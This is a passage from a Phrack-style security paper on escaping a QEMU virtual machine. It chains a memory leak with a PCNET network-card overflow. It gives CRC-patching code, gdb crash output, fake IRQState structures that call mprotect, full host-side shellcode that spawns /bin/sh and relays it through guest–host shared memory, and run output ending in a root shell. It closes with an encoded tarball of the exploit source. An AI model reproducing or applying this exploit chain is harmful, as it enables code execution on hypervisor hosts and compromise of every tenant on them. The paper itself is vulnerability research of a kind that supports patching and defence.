0x3903b3c2, 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9, 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d, }; uint32_t crc_compute(uint8_t *buffer, size_t size) { uint32_t fcs = ~0; uint8_t *p = buffer; while (p != &buffer[size]) CRC(fcs, *p++); return fcs; } uint32_t crc_reverse(uint32_t current, uint32_t target) { size_t i = 0, j; uint8_t *ptr; uint32_t workspace[2] = { current, target }; for (i = 0; i < 2; i++) workspace[i] &= (uint32_t)~0; ptr = (uint8_t *)(workspace + 1); for (i = 0; i < 4; i++) { j = 0; while(crctab[j] >> 24 != *(ptr + 3 - i)) j++; *((uint32_t *)(ptr - i)) ^= crctab[j]; *(ptr - i - 1) ^= j; } return *(uint32_t *)(ptr - 4); } int main() { uint32_t fcs; uint32_t buffer[2] = { 0xcafecafe }; uint8_t *ptr = (uint8_t *)buffer; fcs = crc_compute(ptr, 4); printf("[+] current crc = %010p, required crc = \n", fcs); fcs = crc_reverse(fcs, 0xdeadbeef); printf("[+] applying patch = %010p\n", fcs); buffer[1] = fcs; fcs = crc_compute(ptr, 8); if (fcs == 0xdeadbeef) printf("[+] crc patched successfully\n"); } ----[ 4.4 - Exploit The exploit (file cve-2015-7504.c from the attached source code tarball) resets the card to its default settings, then configures Tx and Rx descriptors and sets the required flags, and finally inits and restarts the card to push our network card config. The rest of the exploit simply triggers the vulnerability that crashes QEMU with a single packet. As shown below, qemu_set_irq is called with a corrupted irq variable pointing to 0x7f66deadbeef. QEMU crashes as there is no runnable handler at this address. (gdb) shell ps -e | grep qemu 8335 pts/4 00:00:03 qemu-system-x86 (gdb) attach 8335 ... (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x00007f669ce6c363 in qemu_set_irq (irq=0x7f66deadbeef, level=0) 43 irq->handler(irq->opaque, irq->n, level); --[ 5 - Putting all Together In this section, we merge the two previous exploits in order to escape from the VM and get code execution on the host with QEMU's privileges. First, we exploit CVE-2015-5165 in order to reconstruct the memory layout of QEMU. More precisely, the exploit tries to resolve the following addresses in order to bypass ASLR: - The guest physical memory base address. In our exploit, we need to do some allocations on the guest and get their precise address within the virtual address space of QEMU. - The .text section base address. This serves to get the address of qemu_set_irq() function. - The .plt section base address. This serves to determine the addresses of some functions such as fork() and execv() used to build our shellcode. The address of mprotect() is also needed to change the permissions of the guest physical address. Remember that the physical address allocated for the guest is not executable. ----[ 5.1 - RIP Control As shown in section 4 we have control over %rip register. Instead of letting QEMU crash at arbitrary address, we overflow the PCNET buffer with an address pointing to a fake IRQState that calls a function of our choice. At first sight, one could be attempted to build a fake IRQState that runs system(). However, this call will fail as some of QEMU memory mappings are not preserved across a fork() call. More precisely, the mmapped physical memory is marked with the MADV_DONTFORK flag: qemu_madvise(new_block->host, new_block->max_length, QEMU_MADV_DONTFORK); Calling execv() is not useful too as we lose our hands on the guest machine. Note also that one can construct a shellcode by chaining several fake IRQState in order to call multiple functions since qemu_set_irq() is called several times by PCNET device emulator. However, we found that it's more convenient and more reliable to execute a shellcode after having enabled the PROT_EXEC flag of the page memory where the shellcode is located. Our idea, is to build two fake IRQState structures. The first one is used to make a call to mprotect(). The second one is used to call a shellcode that will undo first the MADV_DONTFORK flag and then runs an interactive shell between the guest and the host. As stated earlier, when qemu_set_irq() is called, it takes two parameters as input: irq (pointer to IRQstate structure) and level (IRQ level), then calls the handler as following: void qemu_set_irq(qemu_irq irq, int level) { if (!irq) return; irq->handler(irq->opaque, irq->n, level); } As shown above, we have control only over the first two parameters. So how to call mprotect() that has three arguments? To overcome this, we will make qemu_set_irq() calls itself first with the following parameters: - irq: pointer to a fake IRQState that sets the handler pointer to mprotect() function. - level: mprotect flags set to PROT_READ | PROT_WRITE | PROT_EXEC This is achieved by setting two fake IRQState as shown by the following snippet code: struct IRQState { uint8_t _nothing[44]; uint64_t handler; uint64_t arg_1; int32_t arg_2; }; struct IRQState fake_irq[2]; hptr_t fake_irq_mem = gva_to_hva(fake_irq); /* do qemu_set_irq */ fake_irq[0].handler = qemu_set_irq_addr; fake_irq[0].arg_1 = fake_irq_mem + sizeof(struct IRQState); fake_irq[0].arg_2 = PROT_READ | PROT_WRITE | PROT_EXEC; /* do mprotect */ fake_irq[1].handler = mprotec_addrt; fake_irq[1].arg_1 = (fake_irq_mem >> PAGE_SHIFT) << PAGE_SHIFT; fake_irq[1].arg_2 = PAGE_SIZE; After overflow takes place, qemu_set_irq() is called with a fake handler that simply recalls qemu_set_irq() which in turns calls mprotect after having adjusted the level parameter to 7 (required flag for mprotect). The memory is now executable, we can pass the control to our interactive shell by rewriting the handler of the first IRQState to the address of our shellcode: payload.fake_irq[0].handler = shellcode_addr; payload.fake_irq[0].arg_1 = shellcode_data; ----[ 5.2 - Interactive Shell Well. We can simply write a basic shellcode that binds a shell to netcat on some port and then connect to that shell from a separate machine. That's a satisfactory solution, but we can do better to avoid firewall restrictions. We can leverage on a shared memory between the guest and the host to build a bindshell. Exploiting QEMU's vulnerabilities is a little bit subtle as the code we are writing in the guest is already available in the QEMU's process memory. So there is no need to inject a shellcode. Even better, we can share code and make it run on the guest and the attacked host. The following figure summarizes the shared memory and the process/thread running on the host and the guest. We create two shared ring buffers (in and out) and provide read/write primitives with spin-lock access to those shared memory areas. On the host machine, we run a shellcode that starts a /bin/sh shell on a separate process after having duplicated first its stdin and stdout file descriptors. We create also two threads. The first one reads commands from the shared memory and passes them to the shell via a pipe. The second threads reads the output of the shell (from a second pipe) and then writes them to the shared memory. These two threads are also instantiated on the guest machine to write user input commands on the dedicated shared memory and to output the results read from the second ring buffer to stdout, respectively. Note that in our exploit, we have a third thread (and a dedicated shared area) to handle stderr output. GUEST SHARED MEMORY HOST ----- ------------- ---- +------------+ +------------+ | exploit | | QEMU | | (thread) | | (main) | +------------+ +------------+ +------------+ +------------+ | exploit | sm_write() head sm_read() | QEMU | | (thread) |----------+ |--------------| (thread) | +------------+ | V +---------++-+ | xxxxxxxxxxxxxx----+ pipe IN || | x | +---------++-+ | x ring buffer | | shell | tail ------>x (filled with x) ^ | fork proc. | | | +---------++-+ +-------->--------+ pipe OUT || +------------+ +---------++-+ | exploit | sm_read() tail sm_write() | QEMU | | (thread) |----------+ |--------------| (thread) | +------------+ | V +------------+ | xxxxxxxxxxxxxx----+ | x | | x ring buffer | head ------>x (filled with x) ^ | | +-------->--------+ ----[ 5.3 - VM-Escape Exploit In the section, we outline the main structures and functions used in the full exploit (vm-escape.c). The injected payload is defined by the following structure: struct payload { struct IRQState fake_irq[2]; struct shared_data shared_data; uint8_t shellcode[1024]; uint8_t pipe_fd2r[1024]; uint8_t pipe_r2fd[1024]; }; Where fake_irq is a pair of fake IRQState structures responsible to call mprotect() and change the page protection where the payload resides. The structure shared_data is used to pass arguments to the main shellcode: struct shared_data { struct GOT got; uint8_t shell[64]; hptr_t addr; struct shared_io shared_io; volatile int done; }; Where the got structure acts as a Global Offset Table. It contains the address of the main functions to run by the shellcode. The addresses of these functions are resolved from the memory leak. struct GOT { typeof(open) *open; typeof(close) *close; typeof(read) *read; typeof(write) *write; typeof(dup2) *dup2; typeof(pipe) *pipe; typeof(fork) *fork; typeof(execv) *execv; typeof(malloc) *malloc; typeof(madvise) *madvise; typeof(pthread_create) *pthread_create; typeof(pipe_r2fd) *pipe_r2fd; typeof(pipe_fd2r) *pipe_fd2r; }; The main shellcode is defined by the following function: /* main code to run after %rip control */ void shellcode(struct shared_data *shared_data) { pthread_t t_in, t_out, t_err; int in_fds[2], out_fds[2], err_fds[2]; struct brwpipe *in, *out, *err; char *args[2] = { shared_data->shell, NULL }; if (shared_data->done) { return; } shared_data->got.madvise((uint64_t *)shared_data->addr, PHY_RAM, MADV_DOFORK); shared_data->got.pipe(in_fds); shared_data->got.pipe(out_fds); shared_data->got.pipe(err_fds); in = shared_data->got.malloc(sizeof(struct brwpipe)); out = shared_data->got.malloc(sizeof(struct brwpipe)); err = shared_data->got.malloc(sizeof(struct brwpipe)); in->got = &shared_data->got; out->got = &shared_data->got; err->got = &shared_data->got; in->fd = in_fds[1]; out->fd = out_fds[0]; err->fd = err_fds[0]; in->ring = &shared_data->shared_io.in; out->ring = &shared_data->shared_io.out; err->ring = &shared_data->shared_io.err; if (shared_data->got.fork() == 0) { shared_data->got.close(in_fds[1]); shared_data->got.close(out_fds[0]); shared_data->got.close(err_fds[0]); shared_data->got.dup2(in_fds[0], 0); shared_data->got.dup2(out_fds[1], 1); shared_data->got.dup2(err_fds[1], 2); shared_data->got.execv(shared_data->shell, args); } else { shared_data->got.close(in_fds[0]); shared_data->got.close(out_fds[1]); shared_data->got.close(err_fds[1]); shared_data->got.pthread_create(&t_in, NULL, shared_data->got.pipe_r2fd, in); shared_data->got.pthread_create(&t_out, NULL, shared_data->got.pipe_fd2r, out); shared_data->got.pthread_create(&t_err, NULL, shared_data->got.pipe_fd2r, err); shared_data->done = 1; } } The shellcode checks first the flag shared_data->done to avoid running the shellcode multiple times (remember that qemu_set_irq used to pass control to the shellcode is called several times by QEMU code). The shellcode calls madvise() with shared_data->addr pointing to the physical memory. This is necessary to undo the MADV_DONTFORK flag and hence preserve memory mappings across fork() calls. The shellcode creates a child process that is responsible to start a shell ("/bin/sh"). The parent process starts threads that make use of shared memory areas to pass shell commands from the guest to the attacked host and then write back the results of these commands to the guest machine. The communication between the parent and the child process is carried by pipes. As shown below, a shared memory area consists of a ring buffer that is accessed by sm_read() and sm_write() primitives: struct shared_ring_buf { volatile bool lock; bool empty; uint8_t head; uint8_t tail; uint8_t buf[SHARED_BUFFER_SIZE]; }; static inline __attribute__((always_inline)) ssize_t sm_read(struct GOT *got, struct shared_ring_buf *ring, char *out, ssize_t len) { ssize_t read = 0, available = 0; do { /* spin lock */ while (__atomic_test_and_set(&ring->lock, __ATOMIC_RELAXED)); if (ring->head > ring->tail) { // loop on ring available = SHARED_BUFFER_SIZE - ring->head; } else { available = ring->tail - ring->head; if (available == 0 && !ring->empty) { available = SHARED_BUFFER_SIZE - ring->head; } } available = MIN(len - read, available); imemcpy(out, ring->buf + ring->head, available); read += available; out += available; ring->head += available; if (ring->head == SHARED_BUFFER_SIZE) ring->head = 0; if (available != 0 && ring->head == ring->tail) ring->empty = true; __atomic_clear(&ring->lock, __ATOMIC_RELAXED); } while (available != 0 || read == 0); return read; } static inline __attribute__((always_inline)) ssize_t sm_write(struct GOT *got, struct shared_ring_buf *ring, char *in, ssize_t len) { ssize_t written = 0, available = 0; do { /* spin lock */ while (__atomic_test_and_set(&ring->lock, __ATOMIC_RELAXED)); if (ring->tail > ring->head) { // loop on ring available = SHARED_BUFFER_SIZE - ring->tail; } else { available = ring->head - ring->tail; if (available == 0 && ring->empty) { available = SHARED_BUFFER_SIZE - ring->tail; } } available = MIN(len - written, available); imemcpy(ring->buf + ring->tail, in, available); written += available; in += available; ring->tail += available; if (ring->tail == SHARED_BUFFER_SIZE) ring->tail = 0; if (available != 0) ring->empty = false; __atomic_clear(&ring->lock, __ATOMIC_RELAXED); } while (written != len); return written; } These primitives are used by the following threads function. The first one reads data from a shared memory area and writes it to a file descriptor. The second one reads data from a file descriptor and writes it to a shared memory area. void *pipe_r2fd(void *_brwpipe) { struct brwpipe *brwpipe = (struct brwpipe *)_brwpipe; char buf[SHARED_BUFFER_SIZE]; ssize_t len; while (true) { len = sm_read(brwpipe->got, brwpipe->ring, buf, sizeof(buf)); if (len > 0) brwpipe->got->write(brwpipe->fd, buf, len); } return NULL; } SHELLCODE(pipe_r2fd) void *pipe_fd2r(void *_brwpipe) { struct brwpipe *brwpipe = (struct brwpipe *)_brwpipe; char buf[SHARED_BUFFER_SIZE]; ssize_t len; while (true) { len = brwpipe->got->read(brwpipe->fd, buf, sizeof(buf)); if (len < 0) { return NULL; } else if (len > 0) { len = sm_write(brwpipe->got, brwpipe->ring, buf, len); } } return NULL; } Note that the code of these functions are shared between the host and the guest. These threads are also instantiated in the guest machine to read user input commands and copy them on the dedicated shared memory area (in memory), and to write back the output of these commands available in the corresponding shared memory areas (out and err shared memories): void session(struct shared_io *shared_io) { size_t len; pthread_t t_in, t_out, t_err; struct GOT got; struct brwpipe *in, *out, *err; got.read = &read; got.write = &write; warnx("[!] enjoy your shell"); fputs(COLOR_SHELL, stderr); in = malloc(sizeof(struct brwpipe)); out = malloc(sizeof(struct brwpipe)); err = malloc(sizeof(struct brwpipe)); in->got = &got; out->got = &got; err->got = &got; in->fd = STDIN_FILENO; out->fd = STDOUT_FILENO; err->fd = STDERR_FILENO; in->ring = &shared_io->in; out->ring = &shared_io->out; err->ring = &shared_io->err; pthread_create(&t_in, NULL, pipe_fd2r, in); pthread_create(&t_out, NULL, pipe_r2fd, out); pthread_create(&t_err, NULL, pipe_r2fd, err); pthread_join(t_in, NULL); pthread_join(t_out, NULL); pthread_join(t_err, NULL); } The figure presented in the previous section illustrates the shared memories and the processes/threads started in the guest and the host machines. The exploit targets a vulnerable version of QEMU built using version 4.9.2 of Gcc. In order to adapt the exploit to a specific QEMU build, we provide a shell script (build-exploit.sh) that will output a C header with the required offsets: $ ./build-exploit <path-to-qemu-binary> > qemu.h Running the full exploit (vm-escape.c) will result in the following output: $ ./vm-escape $ exploit: [+] found 190 potential ObjectProperty structs in memory $ exploit: [+] .text mapped at 0x7fb6c55c3620 $ exploit: [+] mprotect mapped at 0x7fb6c55c0f10 $ exploit: [+] qemu_set_irq mapped at 0x7fb6c5795347 $ exploit: [+] VM physical memory mapped at 0x7fb630000000 $ exploit: [+] payload at 0x7fb6a8913000 $ exploit: [+] patching packet ... $ exploit: [+] running first attack stage $ exploit: [+] running shellcode at 0x7fb6a89132d0 $ exploit: [!] enjoy your shell $ shell > id $ uid=0(root) gid=0(root) ... ----[ 5.4 - Limitations Please note that the current exploit is still somehow unreliable. In our testing environment (Debian 7 running a 3.16 kernel on x_86_64 arch), we have observed a failure rate of approximately 1 in 10 runnings. In most unsuccessful attempts, the exploit fails to reconstruct the memory layout of QEMU due to unusable leaked data. The exploit does not work on linux kernels compiled without the CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE flag. In this case QEMU binary (compiled by default with -fPIE) is mapped into a separate address space as shown by the following listing: 55e5e3fdd000-55e5e4594000 r-xp 00000000 fe:01 6940407 [qemu-system-x86_64] 55e5e4794000-55e5e4862000 r--p 005b7000 fe:01 6940407 ... 55e5e4862000-55e5e48e3000 rw-p 00685000 fe:01 6940407 ... 55e5e48e3000-55e5e4d71000 rw-p 00000000 00:00 0 55e5e6156000-55e5e7931000 rw-p 00000000 00:00 0 [heap] 7fb80b4f5000-7fb80c000000 rw-p 00000000 00:00 0 7fb80c000000-7fb88c000000 rw-p 00000000 00:00 0 [2 GB of RAM] 7fb88c000000-7fb88c915000 rw-p 00000000 00:00 0 ... 7fb89b6a0000-7fb89b6cb000 r-xp 00000000 fe:01 794385 [first shared lib] 7fb89b6cb000-7fb89b8cb000 ---p 0002b000 fe:01 794385 ... 7fb89b8cb000-7fb89b8cc000 r--p 0002b000 fe:01 794385 ... 7fb89b8cc000-7fb89b8cd000 rw-p 0002c000 fe:01 794385 ... ... 7ffd8f8f8000-7ffd8f91a000 rw-p 00000000 00:00 0 [stack] 7ffd8f970000-7ffd8f972000 r--p 00000000 00:00 0 [vvar] 7ffd8f972000-7ffd8f974000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] As a consequence, our 4-byte overflow is not sufficient to dereference the irq pointer (originally located in the heap somewhere at 0x55xxxxxxxxxx) so that it points to our fake IRQState structure (injected somewhere at 0x7fxxxxxxxxxx). --[ 6 - Conclusions In this paper, we have presented two exploits on QEMU's network device emulators. The combination of these exploits make it possible to break out from a VM and execute code on the host. During this work, we have probably crashed our testing VM more that one thousand times. It was tedious to debug unsuccessful exploit attempts, especially, with a complex shellcode that spawns several threads an processes. So, we hope, that we have provided sufficient technical details and generic techniques that could be reused for further exploitation on QEMU. --[ 7 - Greets We would like to thank Pierre-Sylvain Desse for his insightful comments. Greets to coldshell, and Kevin Schouteeten for helping us to test on various environments. Thanks also to Nelson Elhage for his seminal work on VM-escape. And a big thank to the reviewers of the Phrack Staff for challenging us to improve the paper and the code. --[ 8 - References [1] http://venom.crowdstrike.com [2] media.blackhat.com/bh-us-11/Elhage/BH_US_11_Elhage_Virtunoid_WP.pdf [3] https://github.com/nelhage/virtunoid/blob/master/virtunoid.c [4] http://lettieri.iet.unipi.it/virtualization/2014/Vtx.pdf [5] https://www.kernel.org/doc/Documentation/vm/pagemap.txt [6] https://blog.affien.com/archives/2005/07/15/reversing-crc/ --[ 9 - Source Code begin 644 vm_escape.tar.gz M'XL(`"[OTU@``^Q:Z7,:29;W5_%7Y*AC.L"-I<RJK*RJMML3"$H6801:0#ZV M#R)/B6BN@<(M;4_OW[XO7R*!D+KMV)C>C8V=^B"*S'?^WI$OL3]-1W:EY<(> M/_O3'@I/FB3^DZ4)W?V\>YZQF`J>BC3FXAEE4<RC9R3Y\TS:/NM5*9>$/)N6 M<J+&OT_WN?W_H\^G^_A/I^LC_:?H\`$6G/]>_".:I#[^,=!`!C"(?PS?GA'Z MIUBS]_P_C_]7XYF>K(TEKU:E&<^/KE]7=I>6X]G5_IH9S\I':Y.Q>KCF]*R< M/%R2JY5=[K&"K/)V85=^M?*5L6X\L^2B\:88#<[:IT-"6+2WW/[W@A!29>35 MJQW"VI;JM#NZZ!>#HCL$JO5DX@E%O$=PVB7^J=Y3)$F-O""L5JF`2<29EY7* M&M[B:%22A;RRH[ES*UM6[Q>E,<M:Y=>*%[.TY7HYPR7RM1>Z9QQ*?EGY+<@4 M'-BO/LE1.1]=N5GUTWQLR/,[>0?W)(NIK1,@>%DY6(W_P\)*L`&^AQ?R'>CR MY(MR.2IKJ/[U:Y+7P(C_3(%LLK+VYZHS]0UGG0R*XNUH4`S!FH.EE08WOT9- MF5\;.U+]2Q6^@X@=)&NURL'!QLL7#.C`+-"^0W?:18E(@38_Y>Q"_JZS0>`. M*D@",D/65/W^7[X#Y;6M'ES<0_H?#Z)5O9-?VXC[+<1W*L>SZKT!&>A_#AB^ MW`4?()W:*:3!@3-@V7QA9]7#X\5RKH]7=N*.O9JI7!S626_4;_6ZG8]W^`'] M*T)K!*0?+.QR.5]6#SW[H2<XL#?CLHI>@"T'H`:$3^5D,M?5*!%^'<I.+VZK ML%4GA^^O[=(2.27MOR'_`DJR=-7#OZY^F(%N(,+58.T.@@#UW=Z&X^-\O22+ MZ]O56,L)YJI=K<AX161)Z,U?#R_Z[1O!#^_$>GDU[_X&;.K!^]]N5_]Z_LG/ M]OS_-'T1WO[I4\`?G_]I$D7L;OY+$K_.>)S2?YW__Q//\?-*<[ZX78ZOKDM2 MU34242;JY-Q>FS$9>I?KY$*N)^14+L<6NE2E`><EDJ_@V(/6_,F:HTJE;\W8 MCPMJ78[G<!+.#%FO+!G/R`K:CK:XHL8SN;PE;KZ<KNKDEW%Y3>9+_)ROR\IT M;L8.>I,74"<2NAXTS^FX+*TAT'8_C0V\E-?0K<IK"T+`F%]@/"%Z/C-CS[1" MIJDMOZU4V!%Y:-(*CL`[6_0<1H\I1-X?W'`2H$"IYI_\UAT8LWDYUK9>*:^A M14Y`DA>PJVMF]@P!=7HBQU.[!$"BQP:`HAT$[@P`U\P:C'K"ALK&!O+?L8$$ MORIFKM=3.ROE76".`?,Y["SAV"GM<BPGJRV^&!0O<M=T<"<^(ET[1BZ_.Y-P M\H,M_GT+V?5\8H!@-M\2(>SC<E4!JX.\^7(%BF^)LCY#P/XYL3,#J]8G`Q@R MG9>6!%0@QT#@&%*,.-A`'"JKN2M_\9'>)`Y9+:SVF0-,8Y]/2Y\SLY`]JU6P M?WC6'I!![W3XOM$O"+Q?]'OOVJVB14X^DN%909J]BX_]]INS(3GK=5I%?T`: MW1:L=H?]]LGEL`<+AXT!<!Y6_$:C^Y$4'_QT-""]/FF?7W3:(`RD]QO=8;L8 MU$F[V^Q<MMK=-W4"`DBW-R2=]GE["&3#7MTKK3QF([U3<E[TFV?PM7'2[K2' M']&0T_:PZW6=@K(&##S]8;MYV6GTR<5E_Z(W*"K>K59[T.PTVN=%ZPBT@T92 MO/-C\."LT>D\Z:6W_8&/)T6ETVZ<=(J@";QLM?M%<^C=V;XU`3FPKP/SY$71 M;/N7XD,!SC3Z'V$>ZE=`YJ#XMTL@@DW2:IS#A#8@U<]``C%I7O:+<V]S[[0R MN#P9#-O#RV%!WO1Z+01Z4/3?M9O%X"7I]`:(UN6@J(.&8<,K]B(`*MB&]Y/+ M0=N#5FEWAT6_?WDQ;/>Z-?#\/<`"?C>`M87H]KKH*B#4ZW_T0CT&"'Z=O#\K M8!U"W*T@4@T/P0`0:PYWR4`?`#C<\9%TBS>=]INBVRS\;L]+>=\>%#6(57O@ M"=I![?L&Z+ST+F.,P*KPNI.Q=8PD:9^21NM=VYL=B"L0^T%[DR>P-+ALGFW@ M/JH\/Z[L7M)N5\>/+GBP-IW*6;A];2]JRX4\AJM2^?G[&XRWG[WW[=[QMJN3 M,?3VO;5%>>TO)8]NEVH^GWS1-?3Q#?;QS?2I6^UZ!NW./(3A\.]VNCZZ/GSZ M7NJ?W[F;DB^^GP;*S]Q1?^>>>D]Z]G'4;YS?D]*;;//#RM9PO!+)R?AJ!IUT M-))E:,5V-*I6-\O5>P]JM:WP<(V:N^H*[H[3&O"J]7A2CF>CO9U[#A]I:/FC M47@9C;96G+>[55DGJD:JOY(?*N3))[!5)>B2_GXK:R\_1PL"1\K3JC^@!6FO M/=G?_)]OX>M+\EMM:QNTR'[1&IU<GIX6_1!(%F7;_4[1>#LZ;WP`>*,'T#;/ M+KMOD0&V!V_AW@V!VMGN=7H@[ZR`!GSX`XWC[V/VDK+IZAJ&*?Q.Z10L.]PU M!8B;O591]0>HQURNIA"IK_S7PQ$<EM\>_H&CA-@;.-9G1%_#8(L']5=?$<_V M_8\OG]`RNF@TWU87\G8REZ9.@LY??X!KZ.9'!S35CTPCO^!Q#G?XVJYLR,G= M96_>`5P@_3WVZSOAM1>O_5[04=^3BQ[]]J1]G6&P\6H.J;:8P!^WGL&H"M]? MO/:O8!.HJV[2(6P^KU5+`()\0W`![6RT6GTP=%A\&.)[;2<!NN?%^8E/.V\, M)N#QW=OW]$<@]-*!EMS_0G"-O[J\O)=PUKV$(%>K8;U&;^A.D<+=^NQBV"?A MDOV$L`#V3H#ZPT[&XOQA2B:,;V4VN\7PP38AG.:BLD=QX8\EWQ<T@\3=%X^[ ML/<PJ2]&_0^CWOONP\2JLE>OXIW6$\C@S'R"C.Z3[1@:*J7JZ5A\][/;#O7P MRW0/OTPWD)T.R&.R*-\GZSQ)ECTB>P/-^Q%9ND_6OF@.'DECCZ1=MO;HD.R1 MM&'S*3*Q3_8P';Z$;!.,Q^PA+':VGMXGR])>P3EI88+_M7(PO&D8LZ1!S7?8 M&.OD^#D9WL#0OM++\0)G?3A@5G.XH:R7)([4N*P=$1A,#IK7XT5S:K;<<5KW M,IOSF1M?W:]R"JO]1ZL<:2_@VD.V$EHYZB^AK4#S&R_\U4)?6_WSODG.WQ+F MRY^#(5LS@I@BN-'\AC3G?C@RY,YM0.D;,O67Q_EL<EM#]OY-'Z8)CT2G%]@Y ML@O^`IPE_M>%\%NQOPCU;XB?/?88S]J!,?LBQM]>[@4EX'`"PY2/2O-BLE[= M0[=#C+0;U.^)IZ9O_0_)P7/FP?9K-\5,;=9H%M:&NVL<@W*R=L5T4=Z&-?9` M6V<4]"W`FEV%WKK^S;M.HWLGB_*`MYU)-;&`M;9PX2-(8N!Z?G5UA]B&N7G] M\V`]W3!'3S)CU%=`!%.*/WGV)`1/-A)H5-]L#/<VGO2HO!EI3,:1VO@TO.G, MYXL3"7GVW6;N@RHG_[A[3VN[)DZ`5GG:TL)U'I/)6W;\_.CH:"^Z0>'R9N2I M[M4UM+:+LE@N=U(V\H$+&_WUK-QNL.W&R1*`T')5;L,:-L[7,-!M-_AVX_;B M^G9U#TATO]&83#8[=Y$_>+^4B]WN]!W.H;!Q?M,Z;T2)V-W@%*M:=>Q,\`<L M+`M;-Z?#ZX1%NUN2TDU"W[6R5O\#[H9@;9>'.\O;";W3ZUW<+V]/T=:'\^$I M=%9<SNZ7X<K8N:/F=$=E\]U%@]Q-@;O+)TT27*,[IW[O/`C)\'C%P(9#^4$G M[;<NMM'J-S9?/-[]P3!\X0]=;_:;5;W4=<ATF*;AS:>>_WC]FD#N_43@O93J M>US[";:N:_X?A>B-<WZ6@72\LC.[E/ZWM?7*EX?_P:9Q.>S!S96TVV0QG]S. MYM.QG%3(\X.;G^(()JF;GR(1/N+P$189+`8JMEE@X8/B1X9_4_R;X%\>N`,1 M_&457P,K_Q.5]C]O02K>_S/;QA'(H!_!1P`+`X5/'?Q)4YK&,/3X=VNI%2S2 M_CW/:9XP)>O(D`JC.<N1@0KI>.:0(1>Q3.($&:S@>2+CP&"-RK(X0H;<:)5) MC@S4)#9G%AE2$YD\RP)#K@37D4(&JUBJE4&&5&61H2DR4.68R1DR,*-21@5* M%5)!'W.HS<4J3QG/_'O&E>7,V,`@C30\1:G"&&.Y16V.&ZZ2A"%#;.(LT6E@ MB(7.LP21$5PHF6E$S!D1N3R5R"!%HG.K`P.G+-$<D1$Q%4(;1,Q)ZF(C8F0P M-*/&)<@0*V$CJM%6KD7.:(+(F$10SBSZ)B.1IBR-`H.FL>4&;>6*@N4<D3$1 M-5GBT#>94*D2H0)#HA*9.;251RK*,X'1-4HIG1OT36JE78YS`C!$!D@LVLH3 M,%2G&%VCC:!&HV]2&1:;)$>&2)@\IA*E)H`UI3%JTYE)$^A&_ETY0P5C(C`P MQ1T@C@Q"Q9I'J$T[)?,D1\14I@SXX0)#1B.5Y8A,XFB29101TX("P`JCKAA5 M-H]X8'#"I3I#9)),9%PS1$PS,,)(C+H20D0F-LBPR6ZTE6X2"Q,N,U%$%?IF MG4D8C4(]I$RQ+,G05BJ44`E#9'*GG.42?;.9R@R/0SVD&4UU+M%6ZBAU>8S1 MS07-99:A;Y91FV<LU$/JA*00)63(!%@:871S!JFH<_3-"A$GFH9ZV%B!4ID6 M6C"!VB"!DQBR`Q,Q$M!U>:@'H:G($XM2F:),)BEJRR*:.8`,&2`&FB>A'D2B MJ,DU(L,BE=H\0<0RI:S*+$;=:045G89Z`(`-,P:188F1D>&(6*9-G&J'47<* M<EB+4`_<J$BP!&V-I2]*C<C(6,'U*D7?H%A53&VH!RZ-DPE'6V-CLCPQB(R$ M&M%<H&\`G7#<A7K@L<BA::&M,1?6Y`ZC*XU(LXRC;T8*"J$+]<`YY9%)T5;_ MGVH@PS&Z4E+)=8*^&4--JG6HAX32)&4Q2HU2&G$F49NR%)*4(6(ZIQI0#O60 MI")32812(RI<EBC4IG(A#%Q'D0':LN5YJ(?$7WQSBLA$.40DSQ$QB`[-LPBC MKE.3RDR%>DAR%<>&(3*151RR`1%3J3*)CC'JFBHIM`SUL&G>:&LNE5/0J#`1 M-PT+FS17S$1YJ`<K3<+3&&W-C8G25"(R=!-19(@-%&`6ZL'&T"`50UMS+GBL M,HPN-<((&:-OJ10RD3+4@^74:D?15N@WN7,Y1I?"5"-MA+ZE<$[D<'8@PZ;( M4&J6TDQ"!6$B6LJ@#A`QD5.A(Q?JP:4B2M($I694)`*.(&3(A8Y%BH@)*Q05 M-M2#LX8SE2(R66[@;F81,4:-3,%R9$B-X5*'>G"YR@WT)F2PREIP`AE2B(3E M&'5(/9I9$^IA`P;:*IEA>9PB,G%F,AUI](T[XUR4A'HP3"F1.K15"J4AMQ"9 MV*F$PJ&'#)F*8L%#/1@XC"+HM<C@J(3>C-&-!8VY=.@;9Y1#+$(]@/W4.HVV MR@S<<PE&-V;"9N`1,@B1*YN&>M!*,!5G*%5I`0G`4!O,(\Y$$A%+(!X6C`H, MFNHTS5&J4E3QE*(VZ,01$PH12Q(*/%&H!YTH:!`*D5'@#%41(A8IQ1.98]03 MK6)HJ*$>-!2T<Q*148FAT(H0L0B.DQS:-C(H8Z5EH1XVLPG::K6(710A,FDB MI(QS](UN#L+`H"FDED1;K:(^VQ&9-())*LW0-[KI%($A48[+#&VU<-JEDF%T M4P5%HB3Z1C=0!H;(1)G-T5:;F`1R#Z.;:J.M4^@;5489%X5ZV)PA*!6F*&XC MCMI$9HR*'2+&G)%9+$(]9$Q9!B,,,@#N$?1_9'"*IJE%Q%BF4IZFH1[\N9Q( MB\@X1^$`2Q$Q(:B`!HY19[X%JB340^9$DD,1($,F(N!%Q.#H4LX9C#J#*4H[ M'NIA4^MHJTDI-!J+R'!+>18GZ%N<0Y>*=:@'"6A'0J"M,()0!H,!,N0BYRE' MWV(+!9V:4`_2&B8D1UL-S$<)W/B0`68V"C,#,J0FBY4+]2!S\,PF:*NQ2L$L MB-'EJ8JT2]$WZ'2)^Z_VOK6YC1M9]'Z5?L7$ZR@4+=GS?JPBG_*-G7-2-XE] M96?/5MD*:YX6;8K4<BA;/G'VM]]^`#.8&<R0<AZ;[!U6V2(!=`-HH!M`H]%= MY,P/8DP(:QK#0=8.J38/6AW!"D,3T4W<V(F9'Y(X,X$="6N:0;?]B&KS7%B* M`ILH9CM9Y`<)\P/,=#^(;:(,+(*6&R=$,2_S84Q-&G4[]@L[B9@?8$4`]G&( 